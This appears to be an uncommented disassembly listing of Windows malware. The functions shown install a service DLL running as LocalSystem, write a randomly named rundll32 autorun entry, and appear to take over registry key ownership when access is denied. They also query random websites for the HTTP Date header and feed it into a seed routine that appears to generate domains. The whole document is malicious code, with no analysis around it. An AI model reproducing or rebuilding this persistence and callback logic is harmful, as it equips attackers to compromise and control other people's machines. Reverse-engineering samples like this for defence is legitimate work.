		mov	esi, offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services"
		lea	edi, [ebp+104h+var_48]
		push	eax		; Dest
		rep movsd
		call	wcscpy
		mov	esi, wcscat
		lea	eax, [ebp+104h+SubKey]
		push	offset asc_9A30BC ; "\\"
		push	eax		; Dest
		call	esi ; wcscat
		push	dword ptr [ebp+104h+Data] ; Source
		lea	eax, [ebp+104h+SubKey]
		push	eax		; Dest
		call	esi ; wcscat
		add	esp, 18h
		push	ebx		; lpdwDisposition
		lea	eax, [ebp+104h+hKey]
		push	eax		; phkResult
		push	ebx		; lpSecurityAttributes
		mov	edi, 0F003Fh
		push	edi		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		lea	eax, [ebp+104h+SubKey]
		push	eax		; lpSubKey
		mov	esi, 80000002h
		push	esi		; hKey
		mov	[ebp+104h+var_168], ebx
		mov	[ebp+104h+psidOwner], ebx
		call	RegCreateKeyExW
		cmp	eax, 5
		jnz	short loc_9A7CA2
		lea	eax, [ebp+104h+var_168]
		push	eax		; int
		lea	eax, [ebp+104h+psidOwner]
		push	eax		; ppsidOwner
		lea	eax, [ebp+104h+var_48]
		push	eax		; int
		push	esi		; int
		call	sub_9A706C
		push	ebx
		lea	eax, [ebp+104h+var_48]
		push	eax
		push	esi
		call	sub_9A7001
		add	esp, 1Ch
		test	eax, eax
		jz	loc_9A7DD0
		push	ebx
		lea	eax, [ebp+104h+SubKey]
		push	eax
		push	esi
		call	sub_9A7001
		add	esp, 0Ch
		push	ebx		; lpdwDisposition
		lea	eax, [ebp+104h+hKey]
		push	eax		; phkResult
		push	ebx		; lpSecurityAttributes
		push	edi		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		lea	eax, [ebp+104h+SubKey]
		push	eax		; lpSubKey
		push	esi		; hKey
		call	RegCreateKeyExW


loc_9A7CA2:				; CODE XREF: sub_9A7B42+10Dj
		cmp	eax, ebx
		jnz	loc_9A7DD0
		push	[ebp+104h+lpData] ; Str
		mov	edi, wcslen
		call	edi ; wcslen
		mov	esi, RegSetValueExW
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+lpData] ; lpData
		push	1		; dwType
		push	ebx		; Reserved
		push	offset ValueName ; "DisplayName"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+104h+Data]
		push	eax		; lpData
		push	4		; dwType
		push	ebx		; Reserved
		push	offset aType	; "Type"
		push	[ebp+104h+hKey]	; hKey
		mov	dword ptr [ebp+104h+Data], 20h
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+104h+Data]
		push	eax		; lpData
		push	4		; dwType
		push	ebx		; Reserved
		push	offset aStart	; "Start"
		push	[ebp+104h+hKey]	; hKey
		mov	dword ptr [ebp+104h+Data], 2
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+104h+Data]
		push	eax		; lpData
		push	4		; dwType
		push	ebx		; Reserved
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+104h+hKey]	; hKey
		mov	dword ptr [ebp+104h+Data], ebx
		call	esi ; RegSetValueExW
		push	[ebp+104h+hMem]	; Str
		call	edi ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+hMem]	; lpData
		push	2		; dwType
		push	ebx		; Reserved
		push	offset aImagepath ; "ImagePath"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	18h		; cbData
		push	offset Data	; "LocalSystem"
		push	1		; dwType
		push	ebx		; Reserved
		push	offset aObjectname ; "ObjectName"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	[ebp+104h+var_174] ; Str
		call	edi ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+var_174] ; lpData
		push	1		; dwType
		push	ebx		; Reserved
		push	offset aDescription ; "Description"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	ebx		; lpdwDisposition
		lea	eax, [ebp+104h+phkResult]
		push	eax		; phkResult
		push	ebx		; lpSecurityAttributes
		push	20006h		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		push	offset aParameters_0 ; "Parameters"
		push	[ebp+104h+hKey]	; hKey
		call	RegCreateKeyExW
		test	eax, eax
		jnz	short loc_9A7DB0
		push	[ebp+104h+var_170] ; Str
		call	edi ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+var_170] ; lpData
		push	2		; dwType
		push	ebx		; Reserved
		push	offset aServicedll ; "ServiceDll"
		push	[ebp+104h+phkResult] ; hKey
		call	esi ; RegSetValueExW
		push	[ebp+104h+phkResult] ; hKey
		call	RegCloseKey
		mov	[ebp+104h+var_180], 1


loc_9A7DB0:				; CODE XREF: sub_9A7B42+241j
		push	[ebp+104h+hKey]	; hKey
		call	RegFlushKey
		push	[ebp+104h+hKey]	; hKey
		call	sub_9A6CF7
		pop	ecx
		push	[ebp+104h+hKey]	; hKey
		call	RegCloseKey
		mov	esi, 80000002h


loc_9A7DD0:				; CODE XREF: sub_9A7B42+137j
					; sub_9A7B42+162j
		cmp	[ebp+104h+var_168], ebx
		jz	short loc_9A7DEB
		push	[ebp+104h+var_168] ; int
		lea	eax, [ebp+104h+var_48]
		push	[ebp+104h+psidOwner] ; psidOwner
		push	eax		; int
		push	esi		; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A7DEB:				; CODE XREF: sub_9A7B42+A1j
					; sub_9A7B42+291j
		push	[ebp+104h+hMem]	; hMem
		call	GlobalFree
		mov	eax, [ebp+104h+var_180]


loc_9A7DF7:				; CODE XREF: sub_9A7B42+77j
		mov	ecx, [ebp+104h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 104h
		leave
		retn
sub_9A7B42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h

; int __cdecl sub_9A7E0F(char *Str)

sub_9A7E0F	proc near		; CODE XREF: sub_9A3715+12Cp

Memory		= dword	ptr -33Ch
hMem		= dword	ptr -338h
var_334		= dword	ptr -334h
psidOwner	= dword	ptr -330h
var_32C		= dword	ptr -32Ch
phkResult	= dword	ptr -328h
hKey		= dword	ptr -324h
Data		= byte ptr -320h
var_11A		= word ptr -11Ah
Dst		= byte ptr -118h
Dest		= word ptr -98h
ValueName	= word ptr -18h
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 33Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+74h+var_4], eax
		mov	eax, [ebp+74h+Str]
		push	edi
		xor	edi, edi
		push	eax		; Str
		mov	[ebp+74h+phkResult], eax
		mov	[ebp+74h+var_334], edi
		call	strlen
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebx+ebx+2]
		push	eax		; dwBytes
		push	40h		; uFlags
		mov	[ebp+74h+var_32C], ebx
		call	GlobalAlloc
		cmp	eax, edi
		mov	[ebp+74h+hMem],	eax
		jnz	short loc_9A7E64
		xor	eax, eax
		jmp	loc_9A8122
; ---------------------------------------------------------------------------


loc_9A7E64:				; CODE XREF: sub_9A7E0F+4Cj
		mov	eax, dword_9BB1DC
		xor	eax, 84C3562Ch
		push	esi
		push	eax		; Seed
		call	srand
		pop	ecx
		call	sub_9A7374
		mov	esi, rand
		mov	[ebp+74h+Memory], eax
		call	esi ; rand
		push	8
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_9A7EAF
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+Dst]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E95
		pop	ecx
		pop	ecx
		jmp	short loc_9A7EC4
; ---------------------------------------------------------------------------


loc_9A7EAF:				; CODE XREF: sub_9A7E0F+83j
		push	80h		; Size
		lea	eax, [ebp+74h+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch


loc_9A7EC4:				; CODE XREF: sub_9A7E0F+9Ej
		call	esi ; rand
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9A7F2E
		call	esi ; rand
		push	26h
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	ebx, edx


loc_9A7EDB:				; CODE XREF: sub_9A7E0F+DDj
		call	esi ; rand
		push	26h
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	ebx, edx
		mov	[ebp+74h+psidOwner], edx
		jz	short loc_9A7EDB
		push	off_9B82B0[ebx*4] ; Source
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	wcscpy
		mov	ebx, wcscat
		lea	eax, [ebp+74h+Dest]
		push	offset asc_9A31E0 ; " "
		push	eax		; Dest
		call	ebx ; wcscat
		mov	eax, [ebp+74h+psidOwner]
		push	off_9B82B0[eax*4] ; Source
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	ebx ; wcscat
		mov	ebx, [ebp+74h+var_32C]
		add	esp, 18h
		jmp	short loc_9A7F44
; ---------------------------------------------------------------------------


loc_9A7F2E:				; CODE XREF: sub_9A7E0F+BFj
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+Dest]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E95
		pop	ecx
		pop	ecx


loc_9A7F44:				; CODE XREF: sub_9A7E0F+11Dj
		inc	ebx
		push	ebx		; cchWideChar
		push	[ebp+74h+hMem]	; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	[ebp+74h+phkResult] ; lpMultiByteStr
		push	edi		; dwFlags
		push	edi		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	loc_9A80FD
		mov	ecx, [ebp+74h+Memory]
		push	offset dword_9A13E4 ; Str
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		push	[ebp+74h+hMem]	; int
		call	sub_9A7B42
		add	esp, 10h
		cmp	eax, edi
		mov	[ebp+74h+var_334], eax
		jnz	loc_9A80F8
		mov	eax, dword_9BB1DC
		xor	eax, 293BF4D3h
		push	eax		; Seed
		call	srand
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+ValueName]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E95
		push	offset aNmqflzhf ; "nmqflzhf"
		push	[ebp+74h+hMem]
		lea	eax, [ebp+74h+Data]
		push	offset aRundll32_exeSS ; "rundll32.exe \"%s\",%S"
		push	104h		; Count
		push	eax		; Dest
		call	_snwprintf
		mov	ebx, RegCreateKeyExW
		add	esp, 20h
		mov	[ebp+74h+var_11A], di
		mov	[ebp+74h+hKey],	80000002h
		mov	esi, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...


loc_9A7FFC:				; CODE XREF: sub_9A7E0F+2E3j
		cmp	[ebp+74h+hKey],	80000001h
		jb	loc_9A80F8
		push	edi		; lpdwDisposition
		lea	eax, [ebp+74h+phkResult]
		push	eax		; phkResult
		push	edi		; lpSecurityAttributes
		push	2		; samDesired
		push	edi		; dwOptions
		push	edi		; lpClass
		push	edi		; Reserved
		push	esi		; lpSubKey
		push	[ebp+74h+hKey]	; hKey
		mov	[ebp+74h+var_32C], edi
		mov	[ebp+74h+psidOwner], edi
		call	ebx ; RegCreateKeyExW
		cmp	eax, 5
		jnz	short loc_9A8079
		lea	eax, [ebp+74h+var_32C]
		push	eax		; int
		lea	eax, [ebp+74h+psidOwner]
		push	eax		; ppsidOwner
		push	esi		; int
		push	[ebp+74h+hKey]	; int
		call	sub_9A706C
		push	edi
		push	esi
		push	[ebp+74h+hKey]
		call	sub_9A7001
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_9A80C4
		push	edi		; lpdwDisposition
		lea	eax, [ebp+74h+phkResult]
		push	eax		; phkResult
		push	edi		; lpSecurityAttributes
		push	2		; samDesired
		push	edi		; dwOptions
		push	edi		; lpClass
		push	edi		; Reserved
		push	esi		; lpSubKey
		push	[ebp+74h+hKey]	; hKey
		call	ebx ; RegCreateKeyExW


loc_9A8079:				; CODE XREF: sub_9A7E0F+223j
		cmp	eax, edi
		jnz	short loc_9A80C4
		lea	eax, [ebp+74h+Data]
		push	eax		; Str
		call	wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		lea	eax, [ebp+74h+Data]
		push	eax		; lpData
		push	1		; dwType
		push	edi		; Reserved
		lea	eax, [ebp+74h+ValueName]
		push	eax		; lpValueName
		push	[ebp+74h+phkResult] ; hKey
		call	RegSetValueExW
		test	eax, eax
		jnz	short loc_9A80B8
		mov	[ebp+74h+var_334], 1


loc_9A80B8:				; CODE XREF: sub_9A7E0F+29Dj
		push	[ebp+74h+phkResult] ; hKey
		call	RegCloseKey


loc_9A80C4:				; CODE XREF: sub_9A7E0F+251j
					; sub_9A7E0F+26Cj
		cmp	[ebp+74h+var_32C], edi
		jz	short loc_9A80E6
		push	[ebp+74h+var_32C] ; int
		push	[ebp+74h+psidOwner] ; psidOwner
		push	esi		; int
		push	80000002h	; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A80E6:				; CODE XREF: sub_9A7E0F+2BBj
		dec	[ebp+74h+hKey]
		cmp	[ebp+74h+var_334], edi
		jz	loc_9A7FFC


loc_9A80F8:				; CODE XREF: sub_9A7E0F+181j
					; sub_9A7E0F+1F7j
		call	sub_9A731F


loc_9A80FD:				; CODE XREF: sub_9A7E0F+14Fj
		push	[ebp+74h+Memory] ; Memory
		call	free
		pop	ecx
		push	[ebp+74h+hMem]	; hMem
		call	GlobalFree
		call	sub_9A5D1A
		mov	eax, [ebp+74h+var_334]
		pop	esi


loc_9A8122:				; CODE XREF: sub_9A7E0F+50j
		mov	ecx, [ebp+74h+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 74h
		leave
		retn
sub_9A7E0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8133	proc near		; CODE XREF: sub_9A8179+25p
		push	ebx
		xor	ebx, ebx
		test	esi, esi
		jz	short loc_9A8175
		cmp	eax, 5FFh
		jbe	short loc_9A8175
		push	edi
		lea	edi, [eax-200h]
		push	edi		; int
		push	esi		; int
		lea	eax, [esi+eax-200h]
		push	eax		; int
		push	dword_9B8348	; int
		push	offset dword_9B8350 ; Src
		call	sub_9A8C4C
		add	esp, 14h
		test	eax, eax
		jz	short loc_9A8174
		push	edi		; nNumberOfBytesToWrite
		push	esi		; int
		call	sub_9A7214
		pop	ecx
		pop	ecx
		mov	ebx, eax


loc_9A8174:				; CODE XREF: sub_9A8133+34j
		pop	edi


loc_9A8175:				; CODE XREF: sub_9A8133+5j
					; sub_9A8133+Cj
		mov	eax, ebx
		pop	ebx
		retn
sub_9A8133	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8179	proc near		; CODE XREF: sub_9A857A+271p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_9A60D7
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, edi
		jz	short loc_9A81AC
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jz	short loc_9A81A5
		call	sub_9A8133
		mov	edi, eax


loc_9A81A5:				; CODE XREF: sub_9A8179+23j
		push	esi		; hMem
		call	GlobalFree


loc_9A81AC:				; CODE XREF: sub_9A8179+1Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_9A8179	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=3A0h

; int __fastcall sub_9A81B2(LPCSTR lpszUrl,int,int)

sub_9A81B2	proc near		; CODE XREF: sub_9A82C5+43p

dwFlags		= dword	ptr -420h
hInternet	= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
cbSize		= dword	ptr -40Ch
var_405		= byte ptr -405h
szAgent		= byte ptr -404h
var_403		= byte ptr -403h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-3A0h]
		sub	esp, 420h
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+3A0h+var_4], eax
		mov	eax, [ebp+3A0h+arg_0]
		push	esi
		xor	ebx, ebx
		mov	[ebp+3A0h+var_418], eax
		push	ebx		; dwReserved
		lea	eax, [ebp+3A0h+dwFlags]
		push	eax		; lpdwFlags
		mov	esi, ecx
		mov	[ebp+3A0h+var_405], bl
		call	InternetGetConnectedState
		test	eax, eax
		jz	loc_9A82AB
		push	edi
		xor	eax, eax
		mov	[ebp+3A0h+szAgent], bl
		mov	ecx, 0FFh
		lea	edi, [ebp+3A0h+var_403]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+3A0h+cbSize]
		push	eax		; cbSize
		lea	eax, [ebp+3A0h+szAgent]
		push	eax		; pszUAOut
		push	ebx		; dwOption
		mov	[ebp+3A0h+cbSize], 400h
		call	ObtainUserAgentString
		push	ebx		; dwFlags
		push	ebx		; lpszProxyBypass
		push	ebx		; lpszProxy
		push	ebx		; dwAccessType
		lea	eax, [ebp+3A0h+szAgent]
		push	eax		; lpszAgent
		call	InternetOpenA
		cmp	eax, ebx
		mov	[ebp+3A0h+hInternet], eax
		jz	short loc_9A82AA
		push	ebx		; dwContext
		push	84080300h	; dwFlags
		push	ebx		; dwHeadersLength
		push	ebx		; lpszHeaders
		push	esi		; lpszUrl
		push	eax		; hInternet
		call	InternetOpenUrlA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_9A82A1
		mov	edi, HttpQueryInfoA
		lea	eax, [ebp+3A0h+var_410]
		push	eax
		lea	eax, [ebp+3A0h+cbSize]
		push	eax
		lea	eax, [ebp+3A0h+var_414]
		push	eax
		push	20000013h
		push	esi
		mov	[ebp+3A0h+var_410], ebx
		mov	[ebp+3A0h+cbSize], 4
		call	edi ; HttpQueryInfoA
		test	eax, eax
		jz	short loc_9A829A
		cmp	[ebp+3A0h+var_414], 0C8h
		jnz	short loc_9A829A
		mov	eax, [ebp+3A0h+arg_4]
		mov	[ebp+3A0h+cbSize], eax
		lea	eax, [ebp+3A0h+var_410]
		push	eax
		lea	eax, [ebp+3A0h+cbSize]
		push	eax
		push	[ebp+3A0h+var_418]
		mov	[ebp+3A0h+var_410], ebx
		push	9
		push	esi
		call	edi ; HttpQueryInfoA
		test	eax, eax
		jz	short loc_9A829A
		mov	[ebp+3A0h+var_405], 1


loc_9A829A:				; CODE XREF: sub_9A81B2+B9j
					; sub_9A81B2+C2j ...
		push	esi		; hInternet
		call	InternetCloseHandle


loc_9A82A1:				; CODE XREF: sub_9A81B2+91j
		push	[ebp+3A0h+hInternet] ; hInternet
		call	InternetCloseHandle


loc_9A82AA:				; CODE XREF: sub_9A81B2+7Bj
		pop	edi


loc_9A82AB:				; CODE XREF: sub_9A81B2+3Aj
		mov	ecx, [ebp+3A0h+var_4]
		mov	al, [ebp+3A0h+var_405]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 3A0h
		leave
		retn
sub_9A81B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=398h


sub_9A82C5	proc near		; CODE XREF: sub_9A83C7+56p

var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
Str		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-398h]
		sub	esp, 418h
		mov	eax, dword_9B8788
		and	[ebp+398h+var_40C], 0
		xor	eax, ebp
		mov	[ebp+398h+var_4], eax
		mov	eax, [ebp+398h+arg_0]
		mov	[ebp+398h+var_408], eax
		mov	eax, [ebp+398h+arg_4]
		mov	[ebp+398h+var_418], eax
		mov	eax, [ebp+398h+arg_8]
		mov	[ebp+398h+var_414], eax
		lea	eax, [ebp+398h+Str]
		push	400h
		push	eax		; int
		call	sub_9A81B2
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_9A83AF
		push	esi
		mov	esi, strtok
		push	edi
		mov	edi, offset Delim ; ", "
		lea	eax, [ebp+398h+Str]
		push	edi		; Delim
		push	eax		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A83AD
		push	edi		; Delim
		push	0		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A83AD
		push	ebx
		mov	ebx, atoi
		push	eax		; Str
		call	ebx ; atoi
		mov	ecx, [ebp+398h+var_408]
		push	edi		; Delim
		push	0		; Str
		mov	[ecx], ax
		call	esi ; strtok
		add	esp, 0Ch
		test	eax, eax
		mov	[ebp+398h+var_410], eax
		jz	short loc_9A83AC
		and	[ebp+398h+var_408], 0


loc_9A835F:				; CODE XREF: sub_9A82C5+BDj
		mov	eax, [ebp+398h+var_408]
		push	3		; MaxCount
		push	[ebp+398h+var_410] ; Str
		push	off_9B8570[eax*4] ; Str1
		call	_strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A8386
		inc	[ebp+398h+var_408]
		cmp	[ebp+398h+var_408], 0Ch
		jb	short loc_9A835F
		jmp	short loc_9A8390
; ---------------------------------------------------------------------------


loc_9A8386:				; CODE XREF: sub_9A82C5+B4j
		mov	eax, [ebp+398h+var_408]
		mov	ecx, [ebp+398h+var_418]
		inc	eax
		mov	[ecx], ax


loc_9A8390:				; CODE XREF: sub_9A82C5+BFj
		push	edi		; Delim
		push	0		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A83AC
		push	eax		; Str
		call	ebx ; atoi
		pop	ecx
		mov	ecx, [ebp+398h+var_414]
		mov	[ecx], ax
		mov	[ebp+398h+var_40C], 1


loc_9A83AC:				; CODE XREF: sub_9A82C5+94j
					; sub_9A82C5+D4j
		pop	ebx


loc_9A83AD:				; CODE XREF: sub_9A82C5+6Aj
					; sub_9A82C5+75j
		pop	edi
		pop	esi


loc_9A83AF:				; CODE XREF: sub_9A82C5+4Cj
		mov	ecx, [ebp+398h+var_4]
		mov	eax, [ebp+398h+var_40C]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 398h
		leave
		retn
sub_9A82C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A83C7	proc near		; CODE XREF: sub_9A857A+49p

FileTime	= _FILETIME ptr	-3Ch
Dst		= word ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
Dest		= byte ptr -24h
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		push	10h		; Size
		mov	[ebp+var_4], eax
		xor	ebx, ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		push	offset dword_9BB310
		call	sub_9AA638
		and	eax, 7
		push	off_9B8550[eax*4]
		lea	eax, [ebp+Dest]
		push	offset aHttpWww_S ; "http://www.%s"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_32]
		push	eax
		lea	eax, [ebp+var_2E]
		push	eax
		lea	ecx, [ebp+Dest]
		mov	[ebp+var_5], bl
		call	sub_9A82C5
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_9A843B
		cmp	[ebp+var_2E], bx
		jz	short loc_9A843B
		cmp	[ebp+var_32], bx
		jz	short loc_9A843B
		cmp	[ebp+Dst], bx
		jnz	short loc_9A8459


loc_9A843B:				; CODE XREF: sub_9A83C7+60j
					; sub_9A83C7+66j ...
		lea	eax, [ebp+Dst]
		push	eax		; lpSystemTime
		call	GetSystemTime
		mov	[ebp+var_30], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_26], bx
		mov	[ebp+var_2A], bx
		mov	[ebp+var_28], bx


loc_9A8459:				; CODE XREF: sub_9A83C7+72j
		lea	eax, [ebp+FileTime]
		push	eax		; lpFileTime
		lea	eax, [ebp+Dst]
		push	eax		; lpSystemTime
		call	SystemTimeToFileTime
		push	2
		push	682D10B7h
		push	[ebp+FileTime.dwHighDateTime]
		push	[ebp+FileTime.dwLowDateTime]
		call	__allmul
		push	192h
		push	54D38000h
		push	edx
		push	eax
		call	__aulldiv
		mov	ecx, [ebp+var_4]
		add	eax, 0F1E34A09h
		adc	edx, ebx
		xor	ecx, ebp
		mov	dword ptr dbl_9B8770, eax
		mov	dword ptr dbl_9B8770+4,	edx
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A83C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A84A9	proc near		; CODE XREF: sub_9A857A+9Ap
					; sub_9A857A+CEp ...

var_30		= qword	ptr -30h
var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	ecx, dword ptr dbl_9B8770+4
		mov	eax, dword ptr dbl_9B8770
		and	dword ptr [ebp+var_8], 0
		push	esi
		mov	edx, ecx
		push	edi
		mov	dword ptr [ebp+var_8+4], edx
		mov	edi, 7FFFFFFFh
		and	edx, edi
		mov	dword ptr [ebp+var_10],	eax
		mov	dword ptr [ebp+var_10+4], edx
		fild	[ebp+var_10]
		mov	esi, 80000000h
		and	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		and	dword ptr [ebp+var_8], 0
		mov	dword ptr [ebp+var_8+4], ecx
		and	dword ptr [ebp+var_8+4], esi
		fchs
		and	ecx, edi
		faddp	st(1), st
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], ecx
		push	ecx
		fstp	[ebp+var_10]
		push	ecx
		fild	[ebp+var_18]
		fild	[ebp+var_8]
		fchs
		faddp	st(1), st
		fstp	[esp+30h+var_30]
		call	sin
		add	esp, 8
		fstp	[ebp+var_20]
		push	0
		push	4F3D859Eh
		push	dword ptr dbl_9B8770+4
		push	dword ptr dbl_9B8770
		call	__allmul
		and	dword ptr [ebp+var_8], 0
		mov	dword ptr [ebp+var_8+4], edx
		and	dword ptr [ebp+var_8+4], esi
		and	edx, edi
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		fild	[ebp+var_8]
		push	ecx
		fchs
		faddp	st(1), st
		fadd	[ebp+var_20]
		fmul	[ebp+var_10]
		fadd	dbl_9A3508
		fmul	[ebp+var_10]
		fstp	[ebp+var_20]
		fld	[ebp+var_10]
		fstp	[esp+30h+var_30]
		call	log
		fadd	[ebp+var_20]
		pop	ecx
		pop	ecx
		pop	edi
		fstp	dbl_9B8770
		mov	eax, dword ptr dbl_9B8770
		pop	esi
		leave
		retn
sub_9A84A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A857A	proc near		; CODE XREF: StartAddress:loc_9A3C46p

var_8B4		= dword	ptr -8B4h
Dst		= dword	ptr -8A4h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
hMem		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
Dest		= byte ptr -9Ch
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	894h
		push	offset stru_9A3520
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_B0], edi
		mov	[ebp+hMem], edi
		push	7D0h		; Size
		push	edi		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		mov	[ebp+ms_exc.disabled], edi
		push	offset dword_9BB310 ; dwBytes
		call	sub_9AA577
		call	sub_9A83C7
		mov	[esp+8B4h+var_8B4], 30D40h
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, edi
		jz	loc_9A8862


loc_9A85E5:				; CODE XREF: sub_9A857A+131j
		mov	[ebp+var_A0], edi
		cmp	edi, 0C350h
		jnb	loc_9A86B0
		push	20h		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ecx, [ebp+hMem]
		lea	ebx, [ecx+edi*4]
		mov	[ebx], eax
		test	eax, eax
		jz	loc_9A8862
		call	sub_9A84A9
